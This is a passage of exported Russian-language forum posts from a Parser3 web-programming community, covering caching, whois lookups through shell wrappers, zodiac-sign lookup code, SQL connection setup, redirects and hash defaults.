  новая удобная возможность\
}{\
  ^if($exception.type eq некий){\
    $exception.handled(1)\
    эквивалентный код, не использующий новую удобную возможность\
  }\
}\
[/code]"
"27672","На сайте есть страница, где представлены для скачивания программы. \
У файлов автоматически определяется размер. Так как файлы большие (до 45 Мб), то операция получается долгая - около 7-10 секунд (хотя доступ к серверу по локальной сети). Размер меняется редко, ставим ^cache:\
\
 ^cache[/cache/soft-$soft.id](86400){\
  $f[^file::load[binary;soft/$soft.file]]\
  <font color=#666666>(^eval($f.size\\1000) Кб)</font>\
 }\
\
Результат работы: файлы кэша создаются, при повторных обращениях время выдачи страницы не меняется. В чем может быть причина?\
\
Мои мысли:\
Точно известно, что Яndex ругается на наш Apache, что тот не выдает  времени последней модификации файла (у меня нет прав на настройку сервера, администратор все время забывает \"нехороший человек\"). Может быть, что причина в этом?"
"27674","Но вдруг мне в дальнейшем придется столкнуться с ситуацией, когда\
результат операций с файлами нужно закэшировать?\
\
^file::stat - это тот же ^file::load, только с доп полями?"
"27675","Да, только не происходит чтение файла: не тратится память+скорость и нет $file.text\
\
Что до кэша, то не знаю. Я не использую кэширование."
"27676","я решил больше не доставать этот ODBC буду выталкивать из  парадокса файлы текстовые с табуляцией, а потом их закачивать в MySQL просто уже если честно уже другого выхода нету."
"27677","использован правильно.\
\
но всегда пробуйте сначала в чистом виде.\
такое у вас работает?\
[code]\
^cache[test](86400){\
   ^math:random(1000)\
}\
[/code]\
\
мелочь: я бы посоветовал поместить кэш вне веб-пространства.\
чтобы не было даже намёка на http://your_site/cache/..."
"27678","Зачем нужен $where ?? Как с ним работать??"
"27679","Эта ошибка возникает при mail:send на хостинге РБК. Что она значит и как бороться?"
"27680","Вопрос уже поднимавшийся, но оставшийся без решения: как сделать на парсере свой Whois?\
\
На подобный вопрос от Dep, PAF ответил: \"logresolve из поставки apache, умеет делать это очень быстро. может приспособите?\" Но не уточнил как его приспособить.\
\
Ну и честно говоря хотелось бы нечто парсернокодовое.\
РЕЛАЬНЫЙ ДЕЙСТВУЮЩИЙ ПРИМЕРЧИК!!!\
\
За ранее пасибки всем ответившим :))"
"27681","незнаю насколько я правильно понял, если ты говоришь об SQL запросе то where, в переводе с английского \"где\", т.е. он задает условия выборки, например\
\
select * from table_name where price > 10\
\
здесь мы выбираем все строке в которых столбец price имеет значение > 10. При этом таких условий мы можем дать несколько соединяя их \" and \", \" or \""
"27685","тогда я его пару раз использовал, но уже очень давно как не использую.\
\
как использовать? ну в lib.p перед самим методом пример использования приведен-же! :)"
"27687","и узнаешь, что скорее всего sendmail не понимает тот формат email который ты ему скармливаешь... наверное пытаешься написать:\
\
$.to/from[Имя <aaa@aa.ru>] ?"
"27688","Вот из доки:\
\
===\
^картинка.font[набор_букв;имя_файла_шрифта.gif](ширина_пробела) \
\
После загрузки такого файла с помощью метода font набору букв, заданных\
в параметрах метода, ставятся в соответствие фрагменты изображения из\
файла. Данный файл должен быть в формате GIF с прозрачным фоном и\
содержать изображение необходимого набора символов в следующем виде:\
\
Пример файла digits.gif с изображением цифр: \
0 \
1 \
2 \
3 \
4 \
5 \
6 \
7 \
8 \
9 \
===\
\
А у кого-нибудь есть экземпляры таких шрифтовых файлов?\
\
Хорошо бы их найти, а м.б. даже выложить на сайте компании?"
"27689","Вот такое странное место.\
\
В некоторых случаях ^file:fullpath даёт имя со следующим за ним знаком вопроса.\
\
Соотв-но на последней строке функции всё падало.\
\
Пришлось отрезать вопрос, если он там есть. \
\
А зачем он там был?\
\
Если раскомментировать, всё работает.\
\
@saymod[][$ru;$fn;$fs]  ----------------------------- saymod\
$ru[$request:uri]\
$fn[^file:fullpath[$ru]]\
#^if(^fn.right(1) eq '?'){$sl(^fn.length[] -1) $fn[^fn.left($sl)]}\
$fs[^file::stat[$fn]]\
<br><br>\
<div align=right>Страница изменена ^fs.mdate.sql-string[].</div>"
"27691","Ну вот для примера, тут 5 шрифтов лежат..\
http://lj.klesh.com/api/ljfonts1.zip"
"27695","Как мне использовать в скриптах P^3 данные HTTP Authorization?\
Смог найти механизм только как передать парсеру хеш сессии вида \"Basic c2FuOmpldHNldA==\", через rewrite_mod, который имеет доступ к этим переменным:\
[quote]\
RewriteCond	%{HTTP:Authorization} ^(.*)\
RewriteRule	^(.*) - [E=HTTP_CGI_AUTHORIZATION:%1]\
[/quote]\
\
Но хотелось бы читать в $env [b]только[/b] логин http-авторизации...\
\
Может есть какие решения? \
Да и еще как с передачей данных HTTP Authorization обстоит дело в [b]не Apache[/b] серверах?\
Там тоже скрипты ничего не получают от сервера? \
Будет ли такое решение работать под IIS*?\
\
*- там, кажется, есть какой-то модуль повторяющий rewite_mod для Apache.\
Большая просьба поправить, если это не так."
"27696","Есть ли готовое решение у кого-нибудь?\
Планируется ли его интергрировать в Parser?\
Как я понял из http://www.rfc.net/rfc2617.html это не хеш, а Base64 закодированная пара login:passwd."
"27697","Так и знал... наверное я неправильно выразился, я имел ввиду не оптимизацию SQL запросов, но оптимизацию кода на Парсере: что-то типа \"lookup по хешу быстрее locate из таблицы\" или \"в таких-то условиях replace быстрее, чем match, но и памяти побольше затребует\" и т.п. Кому ж как ни вам об этом сказать.\
Хотя, может быть, это действительно не очень популярная тема... просто мне показалось, что подобные комментарии в доке были бы не лишними."
"27698","Если \"читать в $env только логин http-авторизации...\", то после авторизации должно быть доступно REMOTE_USER"
"27699","См. http://www.computer.edu.ru/test/noquest/\
\
Где auto.p\
===\
@auto[] ------------------------------------- auto\
$root[/test/noquest]\
#^include[$root/site.ini]\
\
@main[] ------------------------------------- main\
\
$now[^date::now[]]\
$snow[^now.sql-string[]]\
$ynow[$now.year]\
\
<html>\
\
<head>\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
<link rel=\"stylesheet\" type=\"text/css\" href=\"$root/style.css\" title=\"style\">\
</head>\
\
<body>\
^body[]\
^saymod[]\
</html>\
\
@include[file][f;fd] ---------------------------------------- include\
$f[^file:find[$file]]\
^if(def $f){\
$fd[^file::load[text;$f]]\
^process{^taint[as-is][$fd.text]}}\
\
\
# ------------------------------------------------------------ debug\
@unhandled_exception[exception;stack]\
#^unhandled_exception_release[$exception;$stack]\
^unhandled_exception_debug[$exception;$stack]\
\
\
@saymod[][$ru;$fn;$fs]  ----------------------------- saymod\
$ru[$request:uri]\
#$ru - \
$fn[^file:fullpath[$ru]]\
#$fn -\
#^if(^fn.right(1) eq '?'){$sl(^fn.length[] -1) $fn[^fn.left($sl)]}\
#$fn\
$fs[^file::stat[$fn]]\
<br><br>\
<div align=right>Страница изменена ^fs.mdate.sql-string[].</div>\
===\
\
index.html\
===\
<html>\
<head>\
<meta http-equiv=\"refresh\" content=\"0; url=start.par\">\
</head>\
</html>\
===\
\
start.par\
===\
@body[]\
Text.\
===\
\
Причём на домашней машине всё работает,\
а выкладываю на сервер -- и опаньки...\
\
Дело в перенаправлении?"
"27700","но в силу того что они не доработаны, т.е. нет латинских букв, пока их скачать нельзя.\
Но посмотреть можно, если очень необходимо, можно возпользоваться.\
http://www.spearance.ru/parser3/fonts/"
"27701","полно готовых решений\
\
http://www.hotscripts.com/\
\
а как выполнить cgi скрипт из парсер есть в документации..."
"27702","Тот же код работает на моем Win32 Apache.\
Пробую перенастроить наш FreeBsd Apache, чтобы выдавал Last-Modified.\
\
Есть еще версия... Может ли быть дело в неправильных правах на директорию cache?"
"27703","Вот что получаем:\
\
D:/Inetpub/CERU/test/noquest/start.par?\
getting file size failed: No such file or directory (2), real filename 'D:/Inetpub/CERU/test/noquest/start.par_3F'\
D:/Inetpub/CERU/test/noquest/auto.p(45:12) \
--------------------------------------------------------------------------------\
stat D:/Inetpub/CERU/test/noquest/auto.p(45:12) \
fn D:/Inetpub/CERU/test/noquest/auto.p(45:2) \
saymod D:/Inetpub/CERU/test/noquest/auto.p(21:2)"
"27705","Только ни в стандарте, ни просто перебером ENV, (правда на Perl, т.к. в Parser это отдельный класс):\
[code]\
while(($key,$value)=each(%ENV)){\
	print \"<b>$key</b>: $value\";\
	print \"<hr size=1>\";\
}\
[/code]\
Мне найти не удалось эту переменную окружения, но она доступна ;)\
Если такой же подход действует на IIS буду считать это чудом ;)\
Большое спасибо :)"
"27707","есть штатная программка whois,\
надо написать небольшую обёртку, и вызвать её из parser.\
\
[code]\
----------- whois.sh\
#!/bin/sh\
\
whois тут нужные вам параметры, взять можно из environment\
-----------\
[/code]"
"27708","а кто сказал, что ^file:fullpath должна разбирать url и выкидывать из него что-то?"
"27709","Та же побуквенная разбивка, только хэши в другую сторону завернуть надо - тупой копипэйст."
"27710","не выдаётся сервером, когда документ динамический.\
ведь у вас посереди текста может ^math:random стоять, что за дата у такого…\
\
поэтому выдавайте сами.\
parser поможет отформатировать:\
[code]\
$response:Last-Modified[^date::create…]\
[/code]\
\
однако связи с cache я тут не усматриваю.\
\
права: возможно, вы копировали содержимое cache каталога вручную, и кэш-файлы получили недостаточные права, и просто не перезаписываются? потрите всё содержимое вашего cache каталога, перепроверьте."
"27711","ещё проще запустить такой сложный скрипт:\
[code]\
#!/bin/sh\
env\
[/code]\
\
проблема обсуждалась, поиск по форуму слева.\
однако ваша идея с передаванием скрипту переменной окружения красива. подумаю ещё!"
"27712","Затупил, устал очень. Сегодня проснулся, и сразу решил проблему :)"
"27714","Права на директорию www_cache (вынесенную по Вашему совету за веб пространство) для юзера Apache: [b]777[/b]\
\
Пример \
\
[code]\
^cache[../../www_cache/test](86400){\
 ^math:random(1000)\
}\
[/code]\
\
создает там файл test с правами [b]664[/b]. \
\
Насколько это все правильно?"
"27715","есть cygwin."
"27716","и что, не работает?"
"27718","не сталкивались с тем, что у одних и тех же комманд(программ) в разных никсах разные опции при запуске?\
так что еще надо писать знаменитый \"скрипт для для запуска скрипта?\" а под вин ?. :) (уже был такой пост, не хочу повторяться)\
Имеем наприятность :)\
А вот с вариантом в РНР(Perl) 100% уверенность что этот скрипт будет пахать на всех системах с РНР(Perl) одинаково.\
\
БТВ\
Случаем, в Парсере не обещается поддержка работы с сокетами?"
"27719","посмотрю, что бы это могло быть.\
и bug.html, которым вы этот файлик создали (максимально короткий)."
"27720","пока не планируется. скольким людям нужно?"
"27721","я упарился ставить либы а потом упарился переносить на хостинг, где не было используемых мною либ.\
\
хотя конечно, они присутствуют, и могут быть выкачаны/установлены (если права на хостинге для этого имеются), что правдо тоже не всегда тривиально.\
\
поэтому лично мне проще написать скрипт из 2 строчек ;)"
"27723","вопрос в подходе :) Каждый делает по-своему. Главное чтобы работало быстро и правильно :)\
О сокетах.\
Скольким людям нужно? Ну я лично знаю троих (включая меня).\
Но не в кол-ве людй дело, а в самой фишке \"Зачем?\".\
С этим сразу станет проще делать всякие-там whois, работать с почтой, и т.д. и т.п. и др. и прч.\
Короче в сеть надобно лазить не только по http:// бывает."
"27724","желающих фичу.\
могущих реализовать фичу."
"27725","Если мог я - уже давно было бы много новых фич :), но, к несчастью, этого умения, как и времени на его приобретение, у меня нет. Я ни в коем случае не хочу показаться одним из халявщиков, пробегающих время от времени по форуму с криками \"а ну сделайте мне в парсере кнопку \"сделать суперсайт без вложения времени\"\". Я очень благодарен Вам за эту технологию.Только помочь Вам не могу никак :("
"27726","ещё один пример из моей знаменитой книги \"1001 извращение на Парсере\" :)\
[code]\
@whois[query][resp]\
$resp[^file::load[text;http://www.ripe.net/perl/whois?searchtext=$query]]\
$resp[^resp.match[<pre>(.+?)</pre>][ig]]\
$result[^resp.menu{<pre>^resp.1.match[</? \\w+\\s? .*? /? >][igx]{}</pre>}]\
[/code]\
\
вызываем примерно так:\
[code]^whois[parser.ru][/code]"
"27727","[code]\
$resp[^resp.text.match[<pre>(.+?)</pre>][ig]]\
[/code]"
"27729","написал на одном дыхании, хотелось как можно более компактно выразить идею, в итоге получилось \"как всегда\".\
\
Во втором матче должно хватить и [gx], не уверен можно ли вот так просто в переменную которая изначально была \"типа file\" загрузить таблицу. Ну и обработка ошибок типа \"http.всяко_разно\" не помешает..."
"27731","Вот такая фишка приключилась :) Надо закачикам такую фигню об их клиентах выводить по их дате рождения (заказчики - косметическая контора)\
Я делаю это кучей ИФ-ов вот такого вида\
[code]\
^if($month == 2 && $day >=21  || $month ==3 && $day <= 20){$result[fish]}\
[/code]\
Мне почему-то кажется что можно покрасивее. Кто-нибудь имеет соображения по этому поводу?"
"27732","[code]\
$yearday($month*100+$day)\
^if(221>=$yearday && $yearday<=320)…\
[/code]"
"27733","делаем хеш подобной структуры:\
[code]\
$z_hash[\
   $.1[\
      $.sep(21)\
      $.first[Козерог]\
      $.second[Водолей]\
   ]\
   $.2[\
      $.sep(21)\
      $.first[Водолей]\
      $.second[Рыбы]\
   ]\
]\
[/code]\
\
и лукапимся по нему:\
[code]$result[^if($day < $z_hash.$month.sep){$z_hash.$month.first}{$z_hash.$month.second}][/code]"
"27735","[code]\
$границы[^table::create[nameless]{0222 320 ...}]\
$названия[^table::create[nameless]{xxx рыбы ...}]\
[/code]\
и цикликом найти нужный промежуток\
"
"27736","Только начал изучать Parser....помогите пожалста....\
В документации, в разделе\"Урок 2\" описывается как создать динамический заголовок, также описана функция main.\
Вида: \
@main[]\
^head[]\
^body[]\
^footer[]\
которая ставится в начало файла auto.p, она вызывает ниже перечисленные функции, так?\
в index.html ставлю - ^main[]\
выдает - \
call canceled - endless recursion detected\
main\
\
Не понимаю, почему непрекращающаяся рекурсия, вроде ведь все верно?\
заранее, спасибо.."
"27737","Товарищи помагите с сабжем! Никик не могу найти что скачать... или дайте ссылочку на то, что надо почитать для начала установки, но где также присутствуют ссылки на файлы, которые требуется скачать."
"27738","По-моему так достаточно красиво\
\
[code]\
###########\
#\
# CopyLeft Redactor 2004 \
# Получение названия знака зодиака по номеру месяца и дню месяца\
# Использование ^t_zodiac_sign[номер месяца;день месяца;(rus|что угодно)]\
#\
#\
\
@t_zodiac_sign[month;day;lang]\
$zodiac[^table::create{rus_name	eng_name	first_month	first_day	second_month	second_day\
Овен	Aries	3	21	4	20\
Телец	Taurus	4	21	5	21\
Близнецы	Gemini	5	22	6	21\
Рак	Cancer	6	22	7	22\
Лев	Leo	7	23	8	23\
Дева	Virgo	8	24	9	23\
Весы	Libra	9	24	10	22\
Скорпион	Scorpio	10	24	11	22\
Стрелец	Sagittarius	11	23	12	21\
Козерог	Capricorn	12	22	1	20\
Водолей	Aquarius	1	21	2	19\
Рыбы	Pisces	2	20	3	20\
}] \
\
$zodiac[^zodiac.select($zodiac.first_month == $month && $zodiac.first_day >= $day || $zodiac.second_month == $month && $zodiac.second_day <= $day)]\
\
^if(def $lang&& $lang eq rus){\
$result[$zodiac.rus_name]\
}{\
$result[$zodiac.eng_name]\
}\
[/code]"
"27739","А где там написано, что надо писать ^main[] в index.html?\
\
У вас main вызывает main - бесконечный цикл"
"27740","То сообщу Вам, что официальной сборки под Виндовс нету.\
Кое-где по нет валяется \"самосбор\", но не советовал бы я вам ее.\
Лучше Virtual PC + linux + PostgreSQL"
"27741","что вы скажете по поводу моего варианта с таблицей (см. ниже)"
"27742","но под горячую руку стёр как spam.\
в заголовке \"parser: \" если укажете, точно не сотру.."
"27743","1. Можно ли вынести метод @main[] из auto.p? Чтобы в нем осталась инициализация глобальных переменных и, м.б., служебные функции какие-то, -- а шаблон сайта (а @main[] -- это и есть в сущности шаблон) лежал отдельно, например в main.p?\
\
\
2. Предположим есть скрипт добавления людей в базу, там у формы есть поля login/password (чтобы админ мог задать первоначальный или даже изменять пароль, это нужно в данном случае). Где-то в другом месте в пользовательской части этого сайта есть поле для авторизации, и там тоже есть поля логин/пароль. Браузер запоминает логин, введенный в пользовательской части (и это вполне меня устраивает), но после этого начинает вставлять его все время и на странице администрирования, что очень мешает.\
\
Как быть? Приходит в голову только одно: называть поле на странице администрирования не просто \"login\", а \"login\" + md5 от текущего времени, скажем. Вопрос в том, как обратиться к этому полю после отправки формы и нет ли способа бороться с проблемой покрасивее.\
\
Спасибо"
"27744","Естесно, он сам себя вызывает.\
Вот так:\
@main[]\
^header[]\
^body[]\
^footer[]\
\
@header[]\
тут заголовок\
\
@body[]\
тут шаблон\
 ^mainbody[]\
и тут\
\
@footer\
завершающая часть.\
\
\
А в index.html\
@mainbody[]\
тут текст вставляемый в шаблон."
"27745","есть несколько вопросов (я не програмист, не надо писать с тем, что стыдно этого не знать, форум и доку облазил, но не врубился):\
1)залил конфиг для auto.p, где\
снял комент (#)с $SQL.connect-string[mysql://root@localhost/db]\
вопрос, должен ли я тута что-то записать еще?\
\
2)Создал базу данных и узера с полными провами, создал файл\
^connect[mysql://username:userpass@localhost(может тут еще чего дописать?)/data_base_name]{$check[^table::sql{SELECT *\
FROM data_base_table}]}\
\
заранее большое спасибо за ответ\
\
учусь, а кому сейчас легко :)"
"27746","Как таковой ответа так никто и недал. Единственно, что я понял парсер неимеет средств работы с сокетом. Но Вы говорили об logresolve.exe, входящий в коплект Апача, и он вроде должен ето все оперативно делать. Если это Вас незатруднит, думаю многие будут благодарны, показать примерчик как сделать whois с этой програмкой, только с учетом linux версии, или что то другое главное ЖИВОЙ ПРИМЕР"
"27749","[Fri Mar 19 20:14:41 2004] /test.html: /home/host_name/public_html/test.html(3:107): parse error, expecting `';'' or `'}'' [parser.compile]"
"27750","Все правильно строка:\
\
$SQL.connect-string[mysql://root@localhost/db]\
\
это переменная со значением которое ты пихаещь в ^connect, т.е. далее в скриптах можно писать:\
\
^connect[$SQL.connect-string]{\
..\
}\
\
при этом значение $SQL.connect-string надо менять в зависимости от параметров твоей БД, тобишь если расписать:\
\
МодульБД://логин:пароль@хост/база_данных\
\
да еще может проблема в том, что ты не разкоментировал модули поддержки БД в auto.p для Windows'кого auto.p это:\
\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libmySQL.dll\
\
для Unix:\
\
mysql	$sqldriversdir/parser3mysql.dll	$sqldriversdir/libparser2mysql.so\
\
ну и смотри чтоб эти модули у тя были :) надеюсь поможет"
"27751","определяюстя кодировки\
\
$SQL.connect-string: не определена\
$CLASS_PATH: не определен\
\
windows-1251 $charsetsdir/windows-1251.cfg относительный путь. проверка невозможна \
koi8-r $charsetsdir/koi8-r.cfg относительный путь. проверка невозможна"
"27752","Допустим я родился в начале марта, чтобы идентифицировать меня как рыбу по вашему алгоритму нужно пройти ~23 проверки, по алгоритму Александра - максимум 14."
"27753","^int:sql{SELECT 2+2 from dual}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
can not open the module, $sqldriversdir/libparser3oracle.so: cannot open shared object file: No such file or directory \
$sqldriversdir/libparser3oracle.so"
"27754",":) могу предложить вариант в его духе( 2 ПАФ: без обид. крайней мере Вы всегда советуете делать такие вещи через шелл)\
[code]\
#####parser_whois.html\
$whois[^file::exec[whois.sh;;тут имя которое надо про-whois-ить]]\
\
$whois.text\
\
\
\
####whois.sh \
\
#!/bin/sh\
\
whois (всякие-разные опции, -а,напрмер, которые напишите сами)$1\
[/code]\
\
Вот и все, собственно, дело :) \
у меня работает\
Не нравится? есть http://www.parser.ru/forum/?id=27726\
там все написано как сделать \"чиста Парсером\".\
Надо, конечно напильничком его чуток, но тем не менее, вариант также рабочий"
"27755","Могу скинуть в почту свой РНР класс для Whois-a. Он \"простой как мычание\" Вы легко с ним разберетесь :) (цопирайт бай Никита)."
"27756","В авто.п, который рядом с Самим Парсером лежит, определить $sqldriversdir[/ваш/путь](у меня /var/www/cgi-bin/lib)\
и еще учтите, что ВСЕ файлы Парсера, включая драйвера баз, должны принадлежать пользователю, от которого все это хозяйство запускается."
"27758","Вау супер раскажите больше с этим whois.sh у меня посути винда, но скрипт пишу для Unix, и где его и че взять, а если можно скинуть имено этот скриптик на парсере, буду очень благодарен..."
"27762","Я тоже желающий и вхойса, и сокетов вообще, но не могущий на C++ ... ;)\
\
2PAF: может быть для таких случаев голосовалку прикрутить? Если вдруг что, то тут я в меру могущий (в смысле голосовалку написать - но у вас же наверняка и своя есть).\
\
-------\
Дм.Завьялов\
(http://www.dvdigital.ru)"
"27763","каждый день думаю как же я без неё дальше жить буду, пря м не знаю"
"27764","у меня есть приблизительно следующий код:\
[code]\
^connect[$connect_string]{\
  $user[^table::sql{select * from users where id=$uid}]\
}\
^if(!$user){$response:location[?p=index]}\
^connect[$connect_string]{\
  $d[^table::sql{select * from data where uid=$user.id}]\
}\
[/code]\
\
таким образом, в случае когда пользователь с указанным $uid ненайден код:\
\
[code]$response:location[?p=index][/code]\
\
несрабатывает, а за счет того что $user.id нет, выдает ошибку что мол неправильный SQL запрос, само сабой.\
\
Пожалусто помогите"
"27766","1.\
В доке сказано:\
В качестве поля хеша выступает ключ, по имени которого можно получить значение:\
$my_hash.key\
\
Такая запись возвратит значение, поставленное в соответствие ключу. Если происходит обращение к несуществующему ключу, будет возвращено значение ключа _default, если он задан в хеше.\
\
Делаю так:\
[code]\
$about[^if(def $form:about){$form:about}]\
$abouthash[\
  $.aboutus[^aboutus[]]\
  $.adress[^adress[]]\
  $.comerc[^comerc[]]\
  $._DEFAULT[^aboutlist[]]\
]\
$abouthash.[$about]\
[/code]\
\
А запрос по ссылке /about/? (т.е. $about не определена) выводит пустую страницу, т.е. стока\
[code]\
$._DEFAULT[^aboutlist[]]\
[/code]\
не срабатывает, но если сделать:\
[code]\
$about[^if(def $form:about){$form:about}{0}]\
$abouthash[\
  $.aboutus[^aboutus[]]\
  $.adress[^adress[]]\
  $.comerc[^comerc[]]\
  $.0[^aboutlist[]]\
  $._DEFAULT[^aboutlist[]]\
]\
$abouthash.[$about]\
[/code]\
\
То тогда по ссылке /about/? (т.е. $about=0) выводится ^aboutlist[]\
\
Где я не прав?\
\
2.\
А тут вообще сплошной глюк! Аналогичная структура:\
[code]\
$desk[^if(def $form:desk){$form:desk}]\
$deskhash[\
  $.add[^add[]]\
  $.find[^find[]]\
  $._DEFAULT[^desk_info[]]\
]\
$deskhash.[$desk]\
[/code]\
\
Выдает \
Unhandled Exception (Debug)\
is 'table', it has no string representation\
desk\
\
z:/home/union-a.ru/www/desk/index.html(17)\
exception.type=parser.runtime\
\
17 строка есть $deskhash.[$desk]\
\
В форуме такой ошибки не нашел:\
В результате поиска не найдено ни одного сообщения.\
\
Что делать?"
"27767","Может и можно но я привел пример сильно урезанный для понятия идеи, а в Моем случае желательно воспользоваться: [code]$response:location[][/code] только эта хрень [b]у меня непашет[/b] :( [i]ну пожалуйста ответте почему[/i]???!!!"
"27768","Даешь в парсер сокеты...\
Напутствие PAFу Ж-)"
"27769","в вашем случае из $hash.[$some_var] мы получаем $hash.key, подставляя вместо $some_var её значение (это в общих чертах). Чтобы всё прошло нормально, в $some_var должен быть string (либо объект другого класса, имеющий этот самый \"string representation\").\
\
Если в $some_var у вас пшик, как в первом случае, или таблица, как во втором (из приведённого кода непонятно как она там оказалась), мы не сможем получить валидный $hash.key, следовательно фокус не сработает."
"27771","с _default всё нормально, [url=\"http://www.parser.ru/forum/?id=27769\"]перечитайте[/url] ещё раз, пожалуйста. \
\
говоря образно - _default это дверь котораю можно открыть любым ключом, если он не подошел к другим дверям. Но это всё-равно должен быть [b]ключ[/b]. Вы-же пвтаетесь открывать двери огурцом (к примеру). Огурец не подойдёт ни к одной двери, даже к _default.\
\
Попробуйте из своего примера 1.2 убрать $.0, по идее всё-равно должен работать..."
"27772","Но 1 и последний пункт можетбыть летом"
"27773","на $response:location[] обработка страницы парсером [b]не заканчивается[/b]"
"27774","первый SQL запрос [b]РАБОТАЕТ[/b], второй который получает данные от первого конечно, в случает если юзер с указанным [code]$uid[/code] ненайден работать небудет. В моем случае $response:location[] выступает как die(), в PHP. Получается, что по логике вещей второй SQL запрос выполнятся вообще недолжен, если юзер с указанным [code]$uid[/code] ненайден. Нк посмотрите сами\
\
[code]^connect[$connect_string]{\
  $user[^table::sql{select * from users where id=$uid}] # допустим юзера с $uid в БД нет\
}\
^if(!$user){$response:location[error.htm]} # следовательно мы перекидываем пользователюя на страницу с ошбкой\
\
# дальнейший код выполнятся недолжен вроде бы\
^connect[$connect_string]{ \
  $d[^table::sql{select * from data where uid=$user.id}]\
}[/code]\
\
т.е. мне нужно прерывание выполнения кода <:("
"27775","и пытаюсь в третьем сообщении донести до вас, что $response:location[] [b]НЕ[/b] прерывает выполнение кода.\
\
эта инструкция говорит парсеру. что когда будешь отдавать результаты в броузер то установи соотв. заголовок. точно так-же работают куки и все остальное.\
\
заголовок уходит в броузер только после того, как парсер закончит обработку документа. если вам надо что-то сделать - у вас есть весь набор парсерных комманд, но php-шного die [b]нет[/b]\
\
покажите где вы нашли в доке, что $response:location[] прерывает выполнение кода?\
\
P.S. хотите die: напишите его аналог: ^throw[my;die] и в unhahdled_exception ловите его и говорите на данное исключение парсеру: $exception.handled(1)\
"
"27776","А можно и мне"
"27777","Посмотрите, с чем у Яндекса ассоциируется Parser3 :-)\
http://www.yandex.ru/yandsearch?text=parser3\
\
Суббота, вечер...\
(Спасибо скажем Eugene S. :-)"
"27778","Вот такой код не работает:\
[code]\
$about[^if(def $form:about){$form:about}{0}]\
$abouthash[\
  $.aboutus[^aboutus[]]\
  $.adress[^adress[]]\
  $.comerc[^comerc[]]\
  $._DEFAULT[^aboutlist[]]\
]\
$abouthash.[$about]\
[/code]\
\
Но такой работает!!!:\
[code]\
$about[$form:about]\
$abouthash[\
  $.aboutus[^aboutus[]]\
  $.adress[^adress[]]\
  $.comerc[^comerc[]]\
  $._default[^aboutlist[]]\
]\
$abouthash.[$about]\
[/code]\
\
Проверку на валлидность данных убрал, т.к. _default катит за \"огурец\" :))"
"27779","Мсье наверное хотел это:\
\
[code]\
...\
^if($user){\
    ^connect[$connect_string]{\
        $d[^table::sql{select * from data where uid=$user.id}]\
    }\
}{\
    $response:location[http://www.mysite.ru/index.html?p=index]\
}\
[/code]\
\
PS.\
В $response:location[] желательно [i]canonical URL[/i] ставить.\
\
PPS.\
В [b]select * from data[/b] надо бы * заменить на перечисление нужных полей. FAQ.\
\
-------\
Дм.Завьялов\
(http://www.dvdigital.ru)"
"27780","если вы все-таки открыли им дверь, значит это был не огурец ;)\
\
выходит проблема в регистре $._DEFAULT ... хотя странно, никогда бы не подумал."
"27781","на примере организации процедуры: \
человек из глубины сайта решает зарегистрироваться/авторизироваться,\
вводит данные, проходит регистрацию/авторизацию и перенаправляется на текущую страницу.\
\
Я пытаюсь реализовать это следующим образом:\
(видимо, не самый оптимальный вариант, но всё же)\
записав текущий адрес в регистрационной форме -\
[code]<input type=\"hidden\" name=\"redir\" value=\"$request:uri\">[/code]\
и вернув его со страницы авторизации - \
\
[code] \
$response:refresh[ \
   $.value[0] \
   $.url[$form:redir] \
][/code] \
\
Всё работает, пока не приходят Они... \
Если строка содержит ?параметры, то (к примеру) получается:\
\
http://office/media/bd.html%3Fpage%3Dclf\
You don't have permission to access /media/bd.html?page=clf on this server.\
\
И такая запись в error.log:\
Filename is not valid: z:/home/office/www/media/bd.html?page=clf\
\
Перебор вариантов с taint/untaint в разных комбинациях с as-is/uri к желаемому результату не приблизил.\
\
Мой разум отказал мне в понимании...\
Где логику подправить?"
"27782","Понимаете когда ПАФ говорит: «может приспособите?»,\
значит надо следовать следующими алгоритму:\
\
a.	надо найти что нить похожее на форуме \
- ищем, получаем [url=\"http://www.parser.ru/forum/?terms=logresolve&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\"]это[/url]\
b. ну коль стандартная так стандартная, находим ее  у себя где лежит апач\
c. ищем у своего хостера, облом, представьте у Zenon’a нет стандартного logresolve :)\
d. ищем тогда standalone сырцы:\
[url=\"http://www.google.com.ru/search?hl=ru&ie=UTF-8&oe=UTF-8&q=download logresolve &btnG=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA+%D0%B2+Google\"]вот так[/url]\
\
находим:\
[url=\"http://www.aceldama.com/~tomr/progs/logresolve/dist/logresolve_1.1.c\"]вот тут[/url]\
e. заливаем на хостинг в папку на один уровень выше веб пространства, \
типа безопасность, потом компилим: \
[code]\
gcc logresolve.c –o logresolve \
[/code]\
\
а потом это радостно используем\
[code]\
@main[]\
$ip_table[^table::create{ip\
127.0.0.1\
195.218.200.166\
195.170.221.75\
194.85.61.42\
194.67.54.243}]\
\
\
$resolve_exec[^file::exec[../scripts/logresolve;$.stdin[^ip_table.menu{$ip_table.ip }[^#0A]]]]\
$host_table[^table::create[nameless]{$resolve_exec.text}]\
\
^if(!$resolve_exec.status){\
^ip_table.menu{$ip_table.ip = $host_table.0 ^host_table.offset(1)}[<br>]\
}{\
ОШИБКА!<br>\
stderr=$resolve_exec.stderr\
status=$resolve_exec.status\
}\
[/code]\
\
файл /resolve.html\
\
и всего  делов то, главное это знать, что подразумевает ПАФ когда говорит: \
 «может приспособите?»,"
"27783","Но тут ничего не поделаешь, яндекс увидел слово на странице и прилепил к нему абсолютно левую картинку.\
А вообще, убедился на собственном опыте, для лучшего поиска картинок нужно сохранять ее с полным именем (например: double_take.jpg), а не 1, 2, 3. Тогда и поиск будет точным. \
Но к яндексу это касательства не имеет, т.к. он изначально ищет по контенту, потом по совпадению названия и уж напоследок переводит в транслит, но никак не в английский аналог."
"27785","Итак, требуется сделать \"календарь\" на года/месяца, за которые уже опубликованны новости, но если пользователь - администратор, то ему должен быть показан календарик даже с неопубликованными новостями, и месяца, за которые новости не опубликованны должны помечаться, допустим другим цветом...\
\
Имеется таблица новостей:\
[code]\
news_id > dt_published > is_published > и т.д.\
[/code]\
\
Я делаю так:\
[code]\
$calendar[^MAIN:pSQL.sql[table][\
	SELECT\
		^MAIN:pSQL.date_format[dt_published;%Y] as dt_year,\
		^MAIN:pSQL.date_format[dt_published;%m] as dt_month,\
		is_published as all_is_published\
	FROM\
		news\
	WHERE\
		^if(!^MAIN:check_right(1)(4|8)){is_published = '1' AND}\
